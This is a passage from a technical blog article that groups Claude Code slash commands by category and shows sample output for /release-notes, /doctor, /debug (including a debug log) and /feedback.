&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/resume&lt;/code&gt;: Continue a session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Context Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/clear&lt;/code&gt;: Reset the conversation history&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/compact&lt;/code&gt;: Define a new conversation history entry, limiting the context that is sent to the LLM provider&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/context&lt;/code&gt;: Visualize current context usage as a colored grid&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/memory&lt;/code&gt;: Edit Claude memory files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Conversation Ops&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/init&lt;/code&gt;: Read the current project and generate a CLAUDE.md file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plan&lt;/code&gt;: Toggle between editing and plan mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/simplify&lt;/code&gt;: Review the changed code for efficiency&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/review&lt;/code&gt;: Review a merge request and optionally check comments from an origin repo&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/security-review&lt;/code&gt;: Invoke a special agent that checks the source code for security issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/diff&lt;/code&gt;: View and commit staged file changes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/copy&lt;/code&gt;: Copy the last answer to the clipboard&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Terminal Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/theme&lt;/code&gt;: Configure the color theme&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/color&lt;/code&gt;: Configure prompt bar color&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/terminal-setup&lt;/code&gt;: Configure key bindings&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/vim&lt;/code&gt;: Enable or disable VIM editor support when editing files via the CLI&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/statusline&lt;/code&gt;: Set up a custom status line for the terminal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Diagnostics &amp;amp; User Support&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/release-notes&lt;/code&gt;: Show the Claude Code release notes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/doctor&lt;/code&gt;: Check configuration status&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/debug&lt;/code&gt;: Enable verbose debugging output and check for known issues&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/feedback&lt;/code&gt;: Write feedback about your Claude Code experience&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/help&lt;/code&gt;: Show general information about available slash commands&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/powerup&lt;/code&gt;: Explore Claude Code feature with small lessons&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stickers&lt;/code&gt;: Order Claude Code stickers&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/buddy&lt;/code&gt;: Hatch a Tamagotchi-like coding companion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🌀 Permissions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/permissions&lt;/code&gt;: Fine-grained allow &amp;amp; deny tool permission rules&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/sandbox&lt;/code&gt;: Configure settings to secure Claude terminal access and program execution rights&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Extensions&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/hooks&lt;/code&gt;: View hook configurations for tool events&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/skills&lt;/code&gt;: View installed skills&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/agents&lt;/code&gt;: Create and manage agents&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mcp&lt;/code&gt;: Set up and manage MCP server definitions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/chrome&lt;/code&gt;: Start a local Chromium browser for browser interaction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/plugin&lt;/code&gt;: Browse and configure CLI extension&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/reload-plugins&lt;/code&gt;: Reload all configured plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Integrations&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/ide&lt;/code&gt;: Show IDE integrations for Claude, for example in Visual Studio Code&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-github-app&lt;/code&gt;: Configure GitHub actions that interact with Claude&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/install-slack-app&lt;/code&gt;: Configure Slack integration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/mobile&lt;/code&gt;: Show a QR code to download the iOS or Android app&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/claude-api&lt;/code&gt;: Build native apps that integrate with Anthropic SDK&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Groups and commands marked with ✅ were covered in an earlier article, while those with 🌀 are the focus of this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Diagnostics &amp;amp; User Support
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/release-notes&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This unassuming command prints the complete release-notes of all prior versions of the Claude Code binary. The output is very detailed, as you can see for yourself in the following excerpt.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/release-notes

Version 0.2.21:
· Fuzzy matching &lt;span class="k"&gt;for&lt;/span&gt; /commands

Version 0.2.26:
· New /approved-tools &lt;span class="nb"&gt;command &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;managing tool permissions
· Word-level diff display &lt;span class="k"&gt;for &lt;/span&gt;improved code readability
· Fuzzy matching &lt;span class="k"&gt;for &lt;/span&gt;slash commands

...

Version 2.1.78:
· Added StopFailure hook event that fires when the turn ends due to an API error &lt;span class="o"&gt;(&lt;/span&gt;rate limit, auth failure, etc.&lt;span class="o"&gt;)&lt;/span&gt;
· Added &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CLAUDE_PLUGIN_DATA&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt; variable &lt;span class="k"&gt;for &lt;/span&gt;plugin persistent state that survives plugin updates&lt;span class="p"&gt;;&lt;/span&gt; /plugin uninstall prompts before deleting
it
· Added effort, maxTurns, and disallowedTools frontmatter support &lt;span class="k"&gt;for &lt;/span&gt;plugin-shipped agents
· Terminal notifications &lt;span class="o"&gt;(&lt;/span&gt;iTerm2/Kitty/Ghostty popups, progress bar&lt;span class="o"&gt;)&lt;/span&gt; now reach the outer terminal when running inside tmux with &lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt;
allow-passthrough on
· Response text now streams line-by-line as it&lt;span class="s1"&gt;'s generated
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/doctor&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command prints debug-like information about the current environment, including details such as the installer type, binary, install method, and information about updates.&lt;/p&gt;

&lt;p&gt;See the full output of this command here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  Diagnostics
  └ Currently running: npm-global &lt;span class="o"&gt;(&lt;/span&gt;2.1.91&lt;span class="o"&gt;)&lt;/span&gt;
  └ Path: /usr/local/bin/node
  └ Invoked: /usr/local/bin/claude
  └ Config &lt;span class="nb"&gt;install &lt;/span&gt;method: not &lt;span class="nb"&gt;set&lt;/span&gt;
  └ Search: OK &lt;span class="o"&gt;(&lt;/span&gt;vendor&lt;span class="o"&gt;)&lt;/span&gt;
  Updates
  └ Auto-updates: disabled &lt;span class="o"&gt;(&lt;/span&gt;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  └ Update permissions: No &lt;span class="o"&gt;(&lt;/span&gt;requires &lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  └ Auto-update channel: latest
  └ Stable version: 2.1.116
  └ Latest version: 2.1.123
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/debug&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command enables debugging log output. Upon execution, it prints file location to which verbose messages will be posted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/debug

● Debug logging is now active. The log file is at /home/node/.claude/debug/3a0213a0-5ef4-420c-8d11-1bda03f41a1a.txt.

  No issues captured yet since logging was just enabled. If you encounter a problem, reproduce it and I&lt;span class="s1"&gt;'ll check the log for errors or warnings.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Meanwhile, I continued the Claude Code session, and checked the accumulated content in this file. It contains trace information about plugin loading, file history, authentication, and executing the configured status script that renders the status line.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;2026-04-29T18:14:01.226Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] High write ratio: &lt;span class="nv"&gt;blit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;58565 &lt;span class="o"&gt;(&lt;/span&gt;100.0% writes&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="nv"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;756x143
2026-04-29T18:14:01.230Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] AutoUpdaterWrapper: Installation &lt;span class="nb"&gt;type&lt;/span&gt;: npm-global
2026-04-29T18:14:01.246Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] LSP Diagnostics: getLSPDiagnosticAttachments called
2026-04-29T18:14:01.248Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] LSP Diagnostics: Checking registry - 0 pending
2026-04-29T18:14:01.251Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Hooks: Found 0 total hooks &lt;span class="k"&gt;in &lt;/span&gt;registry
2026-04-29T18:14:01.253Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Sending 5 skills via attachment &lt;span class="o"&gt;(&lt;/span&gt;initial, 5 total sent&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:01.255Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Hooks: checkForNewResponses returning 0 responses
2026-04-29T18:14:01.274Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Making snapshot &lt;span class="k"&gt;for &lt;/span&gt;message 03a71a38-a939-496a-b94c-94b593035519
2026-04-29T18:14:01.280Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Total plugin output styles loaded: 0
2026-04-29T18:14:01.292Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 5 &lt;span class="o"&gt;(&lt;/span&gt;443→448&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:01.364Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] High write ratio: &lt;span class="nv"&gt;blit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;58565 &lt;span class="o"&gt;(&lt;/span&gt;100.0% writes&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="nv"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;756x143
2026-04-29T18:14:01.372Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Missing tracked file: .claude/statusline-command.sh
2026-04-29T18:14:01.373Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Missing tracked file: .claude/statusline-command.cjs
2026-04-29T18:14:01.380Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] autocompact: &lt;span class="nv"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;78124 &lt;span class="nv"&gt;threshold&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;167000 &lt;span class="nv"&gt;effectiveWindow&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;180000
2026-04-29T18:14:01.386Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Tool search disabled: ToolSearchTool is not available &lt;span class="o"&gt;(&lt;/span&gt;may have been disallowed via disallowedTools&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
2026-04-29T18:14:01.427Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API:request] Creating client, ANTHROPIC_CUSTOM_HEADERS present: &lt;span class="nb"&gt;false&lt;/span&gt;, has Authorization header: &lt;span class="nb"&gt;false
&lt;/span&gt;2026-04-29T18:14:01.428Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API:auth] OAuth token check starting
2026-04-29T18:14:01.437Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 5 &lt;span class="o"&gt;(&lt;/span&gt;443→448&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:01.447Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] StatusLine &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;input&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.model.display_name'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.context_window.current_usage.input_tokens'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.context_window.context_window_size'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$model&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$tokens&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$max&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;proj&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.workspace.project_dir'&lt;/span&gt; | xargs &lt;span class="nt"&gt;-I&lt;/span&gt;&lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt; &lt;span class="s2"&gt;"{}"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;branch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;git &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$input&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.workspace.project_dir'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; branch &lt;span class="nt"&gt;--show-current&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$proj&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="nv"&gt;$branch&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; completed with status 0
2026-04-29T18:14:01.451Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API:auth] OAuth token check &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:14:01.469Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;API REQUEST] /anthropic/v1/messages &lt;span class="nb"&gt;source&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;repl_main_thread
2026-04-29T18:14:01.517Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] FileHistory: Added snapshot &lt;span class="k"&gt;for &lt;/span&gt;03a71a38-a939-496a-b94c-94b593035519, tracking 10 files
2026-04-29T18:14:01.538Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 5 &lt;span class="o"&gt;(&lt;/span&gt;443→448&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:13.607Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Stream started - received first chunk
2026-04-29T18:14:16.271Z &lt;span class="o"&gt;[&lt;/span&gt;WARN] &lt;span class="o"&gt;[&lt;/span&gt;3P telemetry] Event dropped &lt;span class="o"&gt;(&lt;/span&gt;no event logger initialized&lt;span class="o"&gt;)&lt;/span&gt;: api_request
2026-04-29T18:14:16.276Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] &lt;span class="o"&gt;[&lt;/span&gt;useDeferredValue] Messages deferred by 2 &lt;span class="o"&gt;(&lt;/span&gt;448→450&lt;span class="o"&gt;)&lt;/span&gt;
2026-04-29T18:14:16.357Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] High write ratio: &lt;span class="nv"&gt;blit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0, &lt;span class="nv"&gt;write&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;58567 &lt;span class="o"&gt;(&lt;/span&gt;100.0% writes&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="nv"&gt;screen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;759x143
2026-04-29T18:14:16.374Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:14:16.376Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486456374
2026-04-29T18:14:16.376Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 1057 bytes
2026-04-29T18:14:16.377Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:14:16.377Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486456374 to /home/node/.claude.json
2026-04-29T18:14:16.378Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.423Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] LSP server manager shut down successfully
2026-04-29T18:16:46.435Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.436Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606435
2026-04-29T18:16:46.436Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 1141 bytes
2026-04-29T18:16:46.437Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.438Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606435 to /home/node/.claude.json
2026-04-29T18:16:46.438Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.439Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Metrics &lt;span class="nb"&gt;export &lt;/span&gt;disabled by organization setting
2026-04-29T18:16:46.440Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] BigQuery metrics exporter flush &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:16:46.441Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] BigQuery metrics exporter flush &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:16:46.443Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] BigQuery metrics exporter shutdown &lt;span class="nb"&gt;complete
&lt;/span&gt;2026-04-29T18:16:46.447Z &lt;span class="o"&gt;[&lt;/span&gt;WARN] &lt;span class="o"&gt;[&lt;/span&gt;stderr]
2026-04-29T18:16:46.451Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.453Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606451
2026-04-29T18:16:46.453Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 1966 bytes
2026-04-29T18:16:46.454Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.455Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606451 to /home/node/.claude.json
2026-04-29T18:16:46.457Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
2026-04-29T18:16:46.460Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Preserving file permissions: 100600
2026-04-29T18:16:46.461Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Writing to temp file: /home/node/.claude.json.tmp.16.1777486606460
2026-04-29T18:16:46.461Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Temp file written successfully, size: 2358 bytes
2026-04-29T18:16:46.462Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Applied original permissions to temp file
2026-04-29T18:16:46.463Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Renaming /home/node/.claude.json.tmp.16.1777486606460 to /home/node/.claude.json
2026-04-29T18:16:46.463Z &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] File /home/node/.claude.json written atomically
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/feedback&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Occasionally, a Claude Code session might show unexpected behavior, or even crash. To capture the necessary diagnostics and create a bug ticket for Anthropic, this command can be used.&lt;/p&gt;

&lt;p&gt;Executing this command opens an interactive dialog, in which a short explanation is requested from the user.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/feedback

─────────────────────────────────────────────────────────────────────────────
  Submit Feedback / Bug Report

  Describe the issue below:

  When running long running tasks, the terminal commands to list background &lt;span class="nb"&gt;jobs &lt;/span&gt;should be executable &lt;span class="k"&gt;in &lt;/span&gt;the same manner as the /btw command.

  Enter to &lt;span class="k"&gt;continue&lt;/span&gt; · Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



